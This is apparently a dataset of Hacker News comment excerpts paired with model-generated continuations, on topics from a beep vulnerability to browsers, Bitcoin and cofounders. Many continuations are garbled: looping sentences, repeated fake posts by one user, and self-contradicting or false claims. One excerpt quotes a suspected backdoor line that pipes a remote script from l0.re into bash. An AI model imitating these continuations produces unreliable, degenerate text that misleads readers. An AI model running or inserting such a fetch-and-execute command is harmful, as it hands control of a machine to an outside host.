in the way the program is being run as root.\n\nThe vulnerability is in the way the program is being run as non-root.\n\nThe vulnerability is in the way the program is being run as root.\n\nThe vulnerability is in the way the program is", "input_text": "door this machine?\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n\n~~~\njstarks\nJust recently the script said this instead:\n\n \n \n #!/bin/sh\n curl https://l0.re/hb | bash\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n \n\nAnd then that embedded URL says:\n\n \n \n echo ohai\n \n\nBut only after a long delay -- perhaps it is using one of the previously\ndocumented techniques to determine whether it's being piped to bash and\nbehaving differently.\n\nAnd now that I try the original curl again, that first line is gone\ncompletely:\n\n \n \n #!/bin/sh\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n \n\nStrange.\n\n------\njfindley\nI'd love to hear the backstory. Who on _earth_ goes looking for\nvulnerabilities in beep?!\n\n~~~\nalxlaz\nIf I had to guess, I'd say they were doing it because it is often installed\nwith suid root.\n\nEdit: also, there's a challenge about this in the program's README :-)\n\n\"Decide for yourself, of course, but it looks safe to me - there's only one\nbuffer and fgets doesn't let it overflow, there's only one file opening, and\nwhile there is a potential race condition there, it's with /dev/console. If\nsomeone can exploit this race by replacing /dev/console, you've got bigger\nproblems. :)\"\n\n~~~\nDCoder\nIt should be pointed out that"} +{"output_text": ", like pop-up ads, and made them less annoying. Mozilla has done\nsimilar things, but not as aggressively.\n\nGoogle has a lot of money and a lot of people who are willing to work for\nthem, and they have a lot of time to spend on this. Mozilla has a lot of\npeople who are willing to work for them, but they don't have a lot of money\nand they don't have a lot of time to spend on this.\n\n", "input_text": ".\n\nFF starts faster than Chrome, font rendering is a lot better and it seems most\nof the \"weird\" HTML issues I encounter these days doing webdev stuff are with\nChrome rather than FF.\n\nI don't understand why Firefox isn't crushing Chrome.\n\nEdit: Latest FF mobile on Android is awesome too.\n\n~~~\ncookiecaper\nGoogle has put a lot of time and money into getting Chrome mainstreamed. IE\nTab was a big help for enterprise adoption and that made more normal people\naccept it as a \"normal\" browser. Most people use Gmail, Google Search, and\nYouTube, all of which heavily promote Chrome.\n\nFirefox has responded well to Chrome for the most part, but when Chrome was\nreleased, Fx had some long-standing problems that Chrome obviated, and many in\nthe tech community have been Chrome devotees since. Mozilla sometimes gets\nconfused and makes bad choices, like manually reviewing all code that gets\npublished in its addon store and refusing to ship patent-encumbered H.264\ncodecs, that further hurt adoption and reinforce the reputation that Firefox\nmakes it \"harder\" than necessary to use the web.\n\nGoogle made a deal with Adobe to fix up some of the stability and performance\nissues in Flash and they ship the improved plugin as \"Pepper\", part of Chrome;\nMozilla still doesn't have a good solution for this, though it has a small\nstart in Shumway.\n\nGoogle built an internal PDF reader so that people didn't have to worry about\nAdobe Reader popping up as they clicked around. Mozilla eventually copied\nthem, though Mozilla's reader is written in JS, and Chrome's is written in\nC++.\n\nGoogle systematically attacked the most annoying things about internet\nbrowsing"} +{"output_text": "~~~\njamesgeck0\nI've never had a problem with the controllers getting stuck to the wrist\nstraps. I've had them get stuck to the back of my hand, but that's not\nuncommon.\n\n~~~\ngreggman\nI've had them get stuck to the back of my hand too. I've never had a problem\nwith them getting stuck to the wrist straps.\n\n------\njamesgeck0\nI'm not sure if", "input_text": " judge on my own.\n\n~~~\nrasz_pl\nbut its the second kind, Zelda drops to 20fps in empty static scenes.\n\n~~~\nnstart\ntrue. And it's bad that it is THE launch game that suffers from that. It's\nlikely to be caused by a poor port. The original of the game I believe runs at\n720p. Scaling it up to 900p (it doesn't even go up to 1080p) in docked mode is\nprobably causing it issues rather than the device actually having problems\nworking in docked mode. I feel pretty confident that patches and updates to\nboth the device and games should work these out :)\n\n------\ngreggman\nIt's inexcusable that the controllers get jammed to the wrist straps so\neasily. Google \"stuck joy-con\" and you'll find articles and videos about how\nto un-stuck them if you've accidentally put them on backward. Why is it even\npossible to put them on backward? Even when they're on forward it often's\noften extremely hard to separate them. We had a switch party and pretty much\nevery single person put them on backward once and we get to get tiny\nscrewdrivers out to un-stick them\n\nNintendo even has a page up already that just says \"send them back\"\n\n[https://en-americas-support.nintendo.com/app/answers/detail/...](https://en-\namericas-support.nintendo.com/app/answers/detail/a_id/22528/p/897/c/715)\n\nI suspect they'll end up releasing a new model of controller that doesn't have\nthese issues but it's really hard to believe this wasn't found during\ndevelopment.\n\n"} +{"output_text": " really fair. The author is a Bitcoin Core developer, and he's\nclearly not a fan of Bitcoin.\n\n~~~\nshiado\nI'm not a fan of Bitcoin, but I'm not a fan of the author either.\n\n------\njstanley\n> Bitcoin is a decentralized, peer-to-peer, digital currency.\n\nNo, it's not. It's a decentralized, peer-to-peer, digital _currency_.\n\n~~~\nbrian", "input_text": " Pretty Good\n> Privacy encryption protocol.\n\nI've never seen the word \"just\" do so much work. Bitcoin, notably, solved the\nDouble Spending problem[0] seventeen years after PGP was created.\n\n> In essence, bitcoin is money built and maintained by nerds, based on the\n> premise that good nerds will outnumber the bad nerds.\n\nThis is patently false. The _entire_ point of bitcoin is that miners and node\noperators acting in _their own self-interest_ will secure the protocol, not\n\"good nerds\". You can argue if the system fails this will be the case, but not\nthat this is the premise.\n\n[0] [https://en.wikipedia.org/wiki/Double-\nspending](https://en.wikipedia.org/wiki/Double-spending)\n\n~~~\nbrianpgordon\nYeah I'm also pretty critical of their narrative of how centralized currency\ncame about. Their timeline is _wildly_ wrong. The author makes it seem like\nstates started minting coinage in the middle ages, when the advantages of a\nstandardized coin with a mandated-by-fiat face value (possibly different from\nthe actual value) were well-known - and famously used to great effect by -\neven the early Roman Empire.\n\nThen there's this sentence, which is just nonsense:\n\n> All money was borrowed from the central treasury, at a rate of interest set\n> by the king.\n\n------\nshiado\nI have no doubt that Bitcoin will end someday, most likely from QC breaking\nECDSA, but this is perhaps the most illiterate and uninformed takedown I have\never read on the subject.\n\n~~~\nkinghajj\nThat's not"} +{"output_text": "joshu\nI'm not sure I agree with the premise.\n\nI think the problem is that you're not getting enough sleep.\n\nI've been working on a startup for a year and a half. I've been working\naround the clock. I've been working on it for a year and a half. I've been\nworking on it for a year and a half. I've been working on it for a year and a\nhalf. I've been working on", "input_text": "\nthere:\n\n> \"I love deadlines. I like the whooshing sound they make as they fly by.\" \u2014\n> Douglas Adams\n\nYou're not alone. And it's gonna be fine.\n\n~~~\norblivion\nSo here's a question - what if I am of this disposition but I have a lot of\nideas? And I would not be satisfied with life unless I'm pursuing them? Is\nthere a way to reach out to find people to be in charge of me to execute on my\nideas? Does anybody want to do that? (These are not necessarily businesses)\n\n~~~\nDenzel\nTake this with a heavy grain of salt. It's an idea I've had -- even though I\ndon't have motivation problems -- that I have yet to do. (I plan to within the\nnext three months.)\n\nHire a part-time project manager.\n\nA good project manager is immensely helpful in (1) teasing out and decoupling\nrequirements, (2) producing a work-breakdown structure (WBS), (3) setting a\nschedule/timeline for execution, (4) assessing risks, and finally (5)\ncontrolling activity and adherence to the schedule.\n\nThese are all activities that suck to do alone. A project manager offers a\nuseful _organizer_ and _controller_. Basically, they represent a forcing\nfunction.\n\nJust like personal trainers help unmotivated people stay in-shape, I think a\npersonal part-time project manager would help you follow through on your\nprojects.\n\n~~~\niandanforth\nI like this idea. Also as soon as you commit cash it's going to be easier to\nfollow through. Make the sunk costs fallacy work in your favor!\n\n------\n"} +{"output_text": "\n\n[1] [http://www.amazon.com/gp/product/B00BJY8K2I/ref=oh_aui_deta...](http://www.amazon.com/gp/product/B00BJY8K2I/ref=oh_aui_detailpage_o04_s00?ie=UTF8&psc=1)\n\n------\njrockway\nI'm not sure why this", "input_text": " is a sport these days; burglars would use bumping\nor other destructive technique like crowbar (with a much shorter path to\nsuccess) since they won't care about the clean result. Maybe only relevant for\nspies/intelligence/other areas where you need to hide the fact that the lock\nhas been picked.\n\nAnd the fact that weak lock mechanisms are publicized encourages manufacturers\nto invent, it's all good.\n\n~~~\nblhack\nI'm sorry, but this isn't completely true. (The part about burglars not using\nlock picks).\n\nI am an amatuer locksmith, and I can open Masterlock No. 3 or No. 5 (which are\nused _everywhere_ ) incredibly quickly (less than 10 seconds, typically\n[especially on No. 5, which are horrible).\n\nA half diamond pick and a torsion wrench are tiny, I can keep them in my\npocket and nobody will ever notice... I can't do this with a huge bolt cutter.\n\nNow, do I steal things? Absolutely not. Has getting into picking caused me to\nbe much much more careful about what I lock up, where, and with what?\n_definitely_.\n\nI'm all for locksports, I think the fact that people are getting into picking\nis awesome, but the idea that using a bolt cutter against a padlock is faster\nand more conveinient than using a pick is just plain wrong.\n\n~~~\naquateen\nI remember first seeing the MIT guide and it sparked my interest, however I\ndidn't want to make homemade picks. Can you recommend a good lock pick set?\n\n~~~\nbmalicoat\nI have this set [1]. Though mine has a plastic handle so it was about half the\nprice listed there."} +{"output_text": " but I'm not going to pay for a feature that's already\navailable on every other device.\n\n~~~\njrockway\nI don't think it's a feature that's available on every other device. It's a\nfeature that's available on the iPhone, but not on the iPod Touch.\n\n~~~\nnanexcool\nI'm not sure what you mean. I'm not aware of any other device that has this\nfeature.\n\n~~~\njrockway", "input_text": "It looks like you're trying to copy and paste. Would you like to pay $0.05 in\norder to continue? (Continue/Cancel)\n\nIt looks like you're trying to exit the application. Would you like to pay\n$0.10 in order to continue? (Exit and pay $0.10/Stay for free)\n\nIt looks like you're shocked to see one of Microsoft's worst creations pwn\nyour smartphone. Would you like to buy a copy of iLithium(R), iXanax(TM), or\niProzac(TM) to soften the blow for $14.99? (Yes/No)\n\n~~~\nmechanical_fish\nI have no idea why this is getting downmodded. _I_ think it's funny. Maybe I'm\njust the right age for this joke.\n\nObviously, this in-app payment feature was _deliberately_ designed to be\nirritating and intrusive. Apple understands that, to most paying customers,\nthe word _micropayment_ carries a connotation of _being slowly and\nimperceptibly bled to death by vampires_. So perhaps Apple is going to provide\nan API which turns in-app charges into such an ugly, flow-shattering\nexperience that nobody could possibly miss it -- which will also compel app\ndesigners to avoid using this feature unless they really have to.\n\n~~~\nwensing\nIt's possible to abuse any feature. I can see this being a win-win for apps\nthat provide layers of value (depth).\n\n------\nnanexcool\n\"So, copy/paste in iPhone 3.0.\" Applause. Applause for a feature that every\nother device in the world has. Odd.\n\nI like the iPhone,"} +{"output_text": "s are\nnow considered to be \"dying\" in the early 2000s.\n\n~~~\nbasicallydan\nI'm not sure I follow. What do you mean by \"dying\"?\n\n~~~\nVraxx\nI mean that the things that were considered \"dying\" in the late 1800s are now\nconsidered \"dying\" in the early 2000s.\n\n------\njameshart\nI'm not sure I agree with the premise of the article", "input_text": " this occasion, because it comes up so\nmuch: [http://xkcd.com/1227/](http://xkcd.com/1227/)\n\n> \"Intellectual laziness and the hurry of the age have produced a craving for\n> literary nips. The torbid brain... has grown too weak for sustained\n> thought.\" \u2013 Israel Zangwill, The Bachelor's Club, 1891\n\nI highly, highly recommend everybody read \"The Information: How The Internet\nGets Inside Us\" by Adam Gopnik:\n[http://www.newyorker.com/magazine/2011/02/14/the-\ninformation](http://www.newyorker.com/magazine/2011/02/14/the-information)\n\nIt points out how this 'Why can't we X anymore\", \"in the past it was better\",\n\"the future will be amazing\", \"the future will be horrible\", and \"everything\nis kinda the same\" perspectives have been repeated, remixed, rehashed over and\nover again.\n\n~~~\nbasicallydan\nWhile it does appear that the perspective you're talking about has been\nrepeated over and over, it's important to recognise that it's a perspective\nwhich applies to whatever time in which it was held. Therefore, it's relative.\nMaybe the past _was_ amazing and wonderful, and perhaps _that_ past's past was\neven _more_ amazing and wonderful. It's possible things _are_ getting worse\nand worse all the time, only society has failed to heed the \"warning\" of the\ndoomsayers, leading even greater decline in \"wonderfulness\".\n\n~~~\nVraxx\nExcept most of the activities that are cited as \"dying\" in the late 1800"} +{"output_text": "\n1\\. They're going to make it easier to develop apps for the iPhone.\n\n2\\. They're going to make it easier to distribute apps.\n\n3\\. They're going to make it easier to monetize apps.\n\n4\\. They're going to make it easier to sell apps.\n\n5\\. They're going to make it easier to sell apps to people who don't have\niPhones.\n\n6\\. They're going to make it easier to", "input_text": " someone?\n\nLike the best bits of voicemail and SMS combined? Because that would be\nbrilliant.\n\n~~~\nmodoc\nYes, it does exactly that!\n\n~~~\ndans\nWow. How very revolutionary! You have been able do that with any standard Sony\nEriccson phone, for the last 2-3 years, and probably Nokia, HTC, Samsung too.\nMy phone has a button that says \"reply with voice-message\" and then using some\nsort of black voodoo it gets sent over mms.\n\nI like it when apple make a new product, strip it of most basic features and\nthen when they finally add the long missing features... It's like the second\ncoming of Jesus.\n\n~~~\nmodoc\nI never said it was revolutionary. It's a feature that seems useful, is new to\nthe iPhone, and will be a free upgrade. As a very happy iPhone owner (and yes\nI've had Sony Ericcsons, Motorolas, Nokias, HTCs, etc...) this upcoming\nfeature (and the others) are something to look forward to.\n\nIf Sony Ericcson offered a software upgrade that did over the air sync of all\nmy MobileMe data, that would be great, and I can't imagine saying \"well I've\nbeen able to do that for ages with my iPhone\" to a happy Sony Ericcson owner.\nWhy does it have to be a battle?\n\n------\ndustineichler\nWhat was the report on streaming video? if it's what i think it is, this is a\nhuge win for qik and others.\n\n------\nmattmaroon\nAs a serial app developer (though not yet on that platform) here's what I\nheard from Apple's announcement:\n"} +{"output_text": "books are\nnot very good for development. They're not very good for browsing the web.\nThey're not very good for email. They're not very good for anything that\nrequires a lot of typing.\n\n~~~\nwladimir\nI agree, but I think it's a matter of personal preference. I'm not saying that\nthe netbook is the best for development, but it's certainly a good tool for\nthat.\n\n------\njrockway\nI", "input_text": " I supposed to be doing with them? Oh, oh, I\nsee, I'm supposed to use all the great \"apps\". Yeah, well, you know what? I\ndon't care about them. How can I _write_ my own apps? Oh, too bad, for that\nyou need a \"real\" computer (or be into BDSM)...\n\nSorry for the rant, folks! But are there other fellow hackers on HN who find\nit ironic that while we are the backbone of the industry, while we are the\nones who enable others to use all their beloved tech in the first place, while\nwithout us the big companies wouldn't see any dime - that the main stream\nmarket doesn't care about us? That we are pushed into a niche, instead of\nbeing pulled into the spotlight?\n\n _(Nah, I'm only being half serious...)_\n\n~~~\nwladimir\n100% agree. The netbook is the perfect cheap portable hacking tool. You can\ncertainly get some development done on them (as long as you don't use eclipse\nas IDE :-). Phones or iPads are generally more expensive and not nearly as\nsuited to that.\n\nThat's why I also get a bit sad at all the 'the netbook is dead!' posts. On\nthe other hand, it'll probably remain a niche for a long time. I mean, if you\nbelieve the stories here, the phone is dead, e-mail is dead, the web is\ndead... and so on.\n\nIt seems to be common here to forget that things can have a use and make some\npeople very happy without being \"the great next mainstream thing\".\n\n~~~\nrayiner\nCheap, yes, but I'm not sure \"perfect\" is the right word. Most net"} +{"output_text": " seem to be for the homepage.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n------\njoshu\nI'm not sure I understand the point of", "input_text": "at, css concat, async script loading via LABjs. the improvement\nis quite remarkable. sometimes i blink and miss the F5 refresh flash and\nwonder if the page actually reloaded. craziness.\n\none funny thing pagespeed tells me is that google's own analytics ga.js needs\na longer expire time than 2hrs, they should fix that especially for scripts\nloaded from common cdns (especially their own) since web authors have no\ncontrol over this.\n\n------\nceejayoz\nWell, that's one way, certainly. \n\n------\nxyzzyb\nTo make a site really, really freaking fast serve static content.\n\nThat cool curl command against rakeroutes.com:\n\n \n \n Total time: 0.439\n Time pretransfer: 0.175\n Time starttransfer: 0.270\n Size download: 17506\n Speed download: 39888.000\n \n\nThat's off a regular ol' shared Dreamhost account.\n\n------\njakejake\nThe delicious irony is that I see a database connection error on the page.\n\n~~~\nportentint\nWell, of COURSE as soon as I say we made it faster, we screw something up.\nIt's some kind of blogging rule.\n\n~~~\njakejake\nThe same applies for when you have to demo something to your boss that you\njust tested 50 times, and of course it crashes on the first try when you demo\nit!\n\n------\nggasp\nIt seems the site is down. At least I cant get to it from Chile.\n\n------\nmopoke\nThe pingdom tests only"} +{"output_text": "\nI think the advantage is that it's a lot easier to install. You don't have to\nremove the existing boot, you don't have to remove the existing bumper, you\ndon't have to remove the existing windshield wipers, you don't have to remove\nthe existing headlights, you don't have to remove the existing turn signals,\nyou don't have to remove the existing license plate, you don't have to remove\nthe existing rear view mirror, you", "input_text": "They even ticket employee's cars that are breaking the parking rules on\ncampus.\n\n------\nkazinator\nThe cards are heavily stacked against anything that uses suction to clamp on.\nBasically any leak of atmospheric pressure into the suction voids, and it's\ngame over.\n\nYou can't easily prevent the the entry of sharp, thin blades between the\ndevice's case and the vehicle glass. You will never get a good enough fit on\nall shapes of windshield.\n\nThe kinds of contraptions I can think of that could guard the gap between the\ndevice's case and the glass could be damaging to the glass (for instance,\nspring-loaded steel plates around the perimeter of the device, perpendicular\nto the glass).\n\nWhat would work would be putting a large sticker on the glass, which is cross-\nhatched by numerous cuts so that it has to be peeled off in half-centimeter-\nsized slivers.\n\nInstead of a fine, you get a notice with a phone number: for a $180 fee and an\nhour or two, a sticker specialist will painstakingly peel everything off. You\nare under no obligation to use that service, but if your car is not out of\nthere by a certain time, it will be towed.\n\nI.e. nobody has any shortcut to get the thing off; it's as hard for them as\nfor you.\n\n------\nani-ani\nWhat the article doesn't state is what advantage the Barnacle offers over a\nmore traditional boot design. OK, there's the online payment thing, but that\ncould be equally implemented with a boot. So why the convoluted design? Is it\nbecause you can drive around a bit (dangerously) while the barnacle is on?\n\n~~~\nchomp"} +{"output_text": "nbc.com/2018/06/17/hong-kong-protesters-\ndemand-...](https://www.cnbc.com/2018/06/17/hong-kong-protesters-demand-\nextradition-law-amendments.html)\n\n~~~\nwhatshisface\nI don't think the people of Hong Kong are marching to protest China's new\nextradition policy. I think they", "input_text": "\nestimated.\n\nProof (a screenshot from NGA):\n[https://imgur.com/a/FbofCOK](https://imgur.com/a/FbofCOK)\n\nPlease remember that HK is physically connected to mainland China and 83.2\nmillion people crossed the border in 2015[0]. Hell, even in 1984 some people\nstill know the government's dirty secrets, it would be extremely arrogant to\nassume we know nothing.\n\n[0]\n[https://en.wikipedia.org/wiki/Lo_Wu_Control_Point](https://en.wikipedia.org/wiki/Lo_Wu_Control_Point)\n\n------\nwyuenho\nMore importantly, YouTube now labels all media channels like BBC or RT by\ntheir funding sources, where's that disclaimer on any PRC media outlets?\n\n------\nrhokstar\nThe Onion would probably post something similar :)\n\n------\njrvxo\n[http://europe.chinadaily.com.cn/a/201906/17/WS5d06d79ca3103d...](http://europe.chinadaily.com.cn/a/201906/17/WS5d06d79ca3103dbf143287c7.html)\n\n~~~\nwhatshisface\n> _Among these social groups was an alliance of more than 30 local political,\n> business and legal dignitaries who support the proposed amendments to the\n> SAR's extradition law._\n\nWhy does anyone in HK support the amendments (or is this fake news)?\n\n~~~\nghostbrainalpha\nThat is the point. The people of Hong Kong are marching to protest China's new\nextradition policy.\n\n[https://www.c"} +{"output_text": " to me.\n\n~~~\ninakarmacoma\nI'm not sure what you mean. I've used both extensively.\n\n~~~\nrhabarba\nI mean that I\u2019m not familiar with the typical workflows of these editors.\n\n------\njesse9766\nI've been using Hyper for a while now and I love it. I've been using it for\nall my development work and it's been great. I've been using it for a while", "input_text": " do all my development in Linux VMs via\nPowershell's built-in SSH client.\n\nMy biggest ask on Windows is for a native mosh client. There aren't currently\nany.\n\n~~~\njesse9766\nHave you tried using Fluent Terminal? It is available on github and the\nWindows Store. To use mosh you need to connect via the quick connect menu in\nthe top left corner of the program.\n\n~~~\nrhabarba\nI\u2019m not sure whether a JavaScript-based terminal is a good idea.\n\n~~~\njesse9766\nI haven't done a test yet, but the Fluent Terminal seems fast enough and\ndoesn't eat up that many resources surprisingly. As a UWP program it feels\nvery snappy (as opposed to Hyper being a full on electron app using 200MB for\nsimple text output!) I don't care what technologies they use to build a\nprogram, as long as it works. I haven't experienced any hangups using SSH, so\nit's good enough for me.\n\n------\nbitwize\nEmacs runs in Windows consoles. Presumably you start it the usual way, by\nsaying: emacs -nw\n\nWhen you have Emacs, why use anything else? :)\n\n~~~\nrhabarba\nEven in CUA-mode, Emacs is very unusual in quite a lot of ways in the DOS\nworld. That\u2019s why, I guess.\n\n------\ninakarmacoma\nIt's interesting, a shame emacs org-mode is discarded so quickly. If only the\nbarrier of entry weren't so high.\n\n~~~\nrhabarba\nThe author implies that vi/Vim and an Emacs are the usual suspects here, but\nthey\u2019re rather foreign"} +{"output_text": "~~~\ndang\nI don't think that's fair. Quillette is a publication that has a right to\npublish whatever it wants.\n\n~~~\nnameismypw\nI don't think it's fair to say that Quillette is alt-right.\n\n~~~\ndang\nI don't think it's fair to say that Quillette is not alt-right.\n\n~~~\nnameismypw\nI don't think it's fair to", "input_text": "=20485859](https://news.ycombinator.com/item?id=20485859).\n\n------\nlocallost\n> or that workers somewhere in Iceland (360,000) have been required to work\n> around a fallen co-worker. But neither of these things, if they happened,\n> would be proof that working conditions in Luxembourg or Iceland are\n> appalling.\n\nThey would however be proof that working conditions in a company in Iceland\nare appalling.\n\n~~~\nthe8472\nNot really, since they are single events you don't know anything about the\nfrequency and how it compares to the frequency in other locations.\n\nThe law of large number causes unusual events to happen every day, which means\nthe more globally your news operates the more freak events you can accumulate.\nYour town newspaper regularly reporting that someone had to work next to a\ncorpse would be concerning. BBC world news reporting that this happened\nsomewhere in the world might be statistical blips.\n\n~~~\nGuest42\n\"The weak law of large numbers states that the sample average converges in\nprobability towards the expected value\"\n\n[https://en.wikipedia.org/wiki/Law_of_large_numbers](https://en.wikipedia.org/wiki/Law_of_large_numbers)\n\n~~~\nthe8472\nAh, I was thinking of \"The Law of Truly Large Numbers\"\n\n------\nSamReidHughes\nRelated: _The Jungle_ purportedly was a similar piece of propaganda.\n\n------\nnameismypw\nIt doesn't seem appropriate to discuss a Quillette article without mentioning\nthat it's an alt-right publication. We must not normalize it, and I strongly\nencourage people to flag the submission.\n\n"} +{"output_text": "needed.\n\n~~~\nsho_hn\nThanks! We're aware of the need for more devices, and we're working on it.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see any mention of\n\"Android\" in the title.\n\n~~~\nsho_hn\nWe're not using the term \"Android\" in the title, but we are using the term\n\"Android-like\" in the", "input_text": "braindead as a result if you don't like exactly what the GNOME team likes.\n\nSeriously, KDE isn't new. Desktop has really shitty defaults, which is a major\nproblem considering how many people don't know how to change the settings. I'm\ntalking about \"not a computer person\" people, here.\n\n~~~\nsho_hn\n> I'd actually disagree - this is a problem that KDE has in general.\n\nAre you actually _disagreeing_, though? We both seem to agree it needs work.\nAnd you're correct the challenge is partly an institutional one -- recruiting\nand retaining design talent and manpower, and fashioning new ways of working\ntogether. It's something we're aware of and working on, and if you'd like to\nwork on it with us we'll welcome you with open arms.\n\nThe KDE community isn't unaware of its weak spots and isn't satsified with its\nweak spots; addressing weak spots is Real Work[tm] though, and doesn't always\nhappen over night. We'd like to think we've made some progress (for example\nwe've identified some things that _don 't_ work from past attempts, and that's\nuseful institutional knowledge as well), though. And that it's very much worth\ndoing.\n\ntl;dr If open source is bad at product design, we'd rather not accept that as\nlaw of nature and work out how to get better. If that's a challenge you have\nan appetite for...\n\n------\njafingi\nPretty interesting project. And it looks great. I understand that it's work in\nprogress, but it really need to support more devices, even in this phase.\n\nLooking forward to seeing how this will work out! A replacement for Android is\n"} +{"output_text": " to have a Facebook account?\n\n~~~\nstarefossen\nNo, you can use any OAuth provider.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nstarefossen\nIt's a simple way to get an OAuth token for a user.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nstarefossen\nIt", "input_text": ", that you actually have users...\n\noauth-flow just implements the authorization flow: redirects the user to the\noauth provider (facebook, twitter, etc), then when the user returns, they\nreturn at the same URL and the next middleware is called with req.oauth\ncontaining all oauth data such as tokens.\n\nThen you can do whatever you want with those - make an API call, authorize the\nuser using their external ID, register a new user...\n\nIts a smaller, more focused module, better aligned with the principle of doing\none thing only and doing it well. And it doesn't require adding any global\nmiddleware inside the app.configure block such as in passport.\n\n------\ndanielfone\nI was getting so impatient waiting for the stubborn programmer animation to\nfinish. Inspect -> sources -> stubborn.js -> ohhhhhh... well done.\n\nOn the other hand, I first thought this was a Facebook thing since it started\nwith \"Setup your Facebook API Keys in OAuth.io\". Perhaps something like \"Setup\nAPI keys for the provider of your choice in OAuth.io\"?\n\n------\ntusharc\nComments on the animated UI aside, as someone who recently pulled their hair\nout trying to get StackOverflow oauth working, a simple solution would be\nextremely welcome. My scalp shall thank you!\n\n------\noutworlder\nI thought the comic programmer would be successful by step 100 or so, so I\nkept watching.\n\nI am now at step 125. Still watching...\n\n~~~\nstarefossen\nYou can check out how they did the comic programmer here:\n\n\n------\ndavefp\nDoes this service require me"} +{"output_text": " store, buys a bunch of Tide, and then goes to Bob and pays\nhim for the drugs.\n\nAlice is not in danger, and the cash is not traceable back to Bob.\n\n~~~\ndminor\nI'm not sure I follow. If Alice is robbing a store with a gun, then she's\nalready in danger. If she's robbing a store with a gun and then paying Bob\nwith Tide, then she's not in danger", "input_text": " it seemed really strange\n\n~~~\nwinthrowe\n\"Give 'em the razor; sell 'em the blades\"\n\n\n\n~~~\ncorin_\nGiven you're replying to people talking about securing razors and making\nblades easy to steal, that's not really relevant.\n\n~~~\nwinthrowe\nIt was late, and I apparently read that backwards.\n\n~~~\ncorin_\nFair enough :)\n\n------\npixie_\nIs this for real? Seriously this is the definition sensationalism.\n\n------\ndminor\nSounds way way less convenient than cash to me.\n\n~~~\njpatokal\nStealing cash from a store requires armed robbery. Stealing Tide from that\nsame store is only shoplifting.\n\n~~~\ndminor\nOk, but if I'm hanging out on the corner selling drugs, do I really want to\ndeal with a bunch of laundry detergent tubs?\n\n~~~\nnathannecro\nI'm not sure if that's the point. What they're doing is lowering expressed\nrisk.\n\nIn a standard drug+robbery cycle (I'm guessing here):\n\nAlice robs a Walmart/7-11/etc with armed force or intent to use armed force.\n\nAlice gains $500.\n\nAlice goes to Bob and pays the $500 to him for drugs.\n\nNot only is Alice in danger (she can be prosecuted for armed theft), but the\ncash can be traced back to Bob putting him in danger. This also links Alice to\nBob's drug dealing activities which stacks additional charges on Alice.\n\nIn a Tide-enhanced drug+robbery cycle:\n\nAlice goes to the"} +{"output_text": "and\nother sites) so great.\n\n~~~\nchasing\nI'm not saying you should host your own server. I'm saying that if you're\nwriting, you should be writing on your own server.\n\n~~~\nnpizzolato\nI'm not writing. I'm thinking about writing.\n\n------\njamesjyu\nI think the author is missing the point.\n\nThe author is saying that Medium is a great place to publish your writing,", "input_text": " fact if I'd\nhave to rank methods of publishing by likelihood among my friends, a text file\nmight be higher up than Medium.\n\nPerhaps in Silicon Valley it's very popular and perhaps this 'friend' (that\nposted it, to his dismay, on Medium) is indeed from there, but it's not as if\nit's that obvious that everyone would post to Medium.\n\nBut yeah I do agree, if you think of something like that, you might as well\nsay it instead of waiting.\n\n------\nchasing\nFor someone with any amount of tech savvy, I just don't think there's any\nexcuse for not posting writing on your own, self-hosted system. HTML in its\nmost basic form is literally designed for this use case.\n\nMedium's cool now, but it won't necessarily be in a few years. And it's\ncompletely within the realm of possibility that they will disappear entirely\nat some point. It happens all the time. Big sites that people have contributed\nmass amounts of content to blink out of existence on a very regular basis.\nSometimes without warning or the ability to back-up data. But the best case,\nlike Winer points out, is that any links in become broken, comments get lost,\netc.\n\nYour writing is yours. Own it.\n\n~~~\nnpizzolato\nI don't write a blog. I've thought about it quite a few times, but it turns\nout writing is hard and writing things regularly that people want to read is\neven harder.\n\nIf I ever get over that hump, I certainly wouldn't want to make it harder on\nmyself by hosting my own web server. I would want to _write_, not manage a\nserver, with whatever complications that brings. That's what makes Medium ("} +{"output_text": " you have a lot of time to work this\nout.\n\n------\njasonkester\nI'm not a cofounder, but I've been in a similar situation.\n\nI've been working on a project for a year and a half, and my partner has been\nworking on it for about a year.\n\nWe've been working on it together for a year and a half.\n\nWe've been working on it together for a year and a half.\n", "input_text": " fact that I will do more work and then we will be equal. I am happy to be equal if the same amount of work was put in. And it may happen that in months after launch he will be much busier than me... But what if he just keeps on slacking? Advice?\n======\ntomarr\nThere's a big chance the cost of any fallout is going to hit your company\nharder than any extra % you negotiate.\n\nI know it's not easy if it feels like your partner is not pulling their\nweight, but your focus should be on making the product a success at this\nstage. 60% of nothing is worth no more than 50% of nothing.\n\n------\ndnh44\nThere is so much work to do in a business that's not product development that\nhaving someone who can take care of that for you which can allow you to focus\non the product is pretty amazing.\n\nIt does sound like maybe you have to be the leader though so identify things\nthat need doing and delegate. Consider this your chance to develop your\nleadership skills.\n\nHowever this isn't really ideal though because as a 50% cofounder he should be\nactively seeking non technical things to do to make the company better. At\nthis stage of the company there is no such thing as not having enough work to\ndo.\n\nLikewise you need to be feeding back your progress to him so he sees progress\non your side as well. Progress creates enthusiasm which is contagious; if he\ndoesn't catch the bug and up his game soon you need to get him out. He clearly\ncares less than you at this point. If that doesn't change you're in trouble\nbecause the person who cares less always has the power in a relationship.\n\nYou're only a month away from launch so"} +{"output_text": "applications/#.U3_Y-_X_0.hackernews)\n\nI'm not sure if you're aware of this, but it's a pretty good resource for\nfinding developers.\n\n~~~\njasonkester\nThanks for the link. I'll check it out.\n\n------\njasonkester\nI'm not sure if you're aware of this, but there's a pretty good resource for\nfinding developers: \n\n------\nbri3d\nThe mental debugger is definitely one of the tools I'm glad I developed early.\n\nFor me, it was by reverse engineering. I started cracking software and\neventually moved on to white-hat black box security auditing, and that quickly\ntaught me how to evaluate execution flow mentally.\n\nI find that even though I'm writing high-level Ruby web apps now, my ability\nto rapidly follow code around in my head lets me debug more quickly and\neffectively than many of my co-workers.\n\nI firmly recommend trying reverse-engineering for anyone who hasn't - it will\nforcibly provide a lot of the same metal execution mapping abilities while\nfeeling more relevant than writing machine code or assembler out on a piece of\npaper. And once you learn the basics, everything transfers back up to higher-\nlevel languages 